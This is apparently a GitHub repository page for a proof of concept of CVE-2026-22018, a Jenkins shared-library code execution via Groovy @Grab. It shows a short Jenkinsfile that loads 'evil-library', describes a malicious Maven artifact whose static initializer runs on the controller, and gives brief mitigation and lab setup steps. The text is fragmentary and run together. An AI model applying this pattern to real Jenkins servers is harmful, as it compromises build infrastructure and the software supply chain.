george0papasotiriou/cve-2026-22018-jenkins-pipeline-shared-library-code-execution-via-grab-PoC for CVE-2026-22018, a critical Jenkins Pipeline Shared Library RCE via Groovy @Grab, demonstrating supply-chain code injection and mitigation steps.
@Grab// Jenkinsfile - loads untrusted shared library
@Library('evil-library@master') _
node {
evilStep()
}
A Jenkins pipeline loads a shared library from a source not fully trusted. The library uses the @Grab annotation to download external Maven artifacts, which can include a malicious class that executes code on the Jenkins controller during Groovy compilation.
@Grab annotation fetches and loads arbitrary JARs at runtime; shared libraries are not sandboxed.Configure a pipeline with an untrusted library that contains @Grab('com.evil:malware:1.0') in its vars/evilStep.groovy. When the pipeline runs, the malicious JAR’s static initializer executes.
@Grab via Groovy sandbox security settings.git clone https://github.com/yourorg/CVE-2026-22018.git
cd CVE-2026-22018
# Set up Jenkins in a lab environment to test.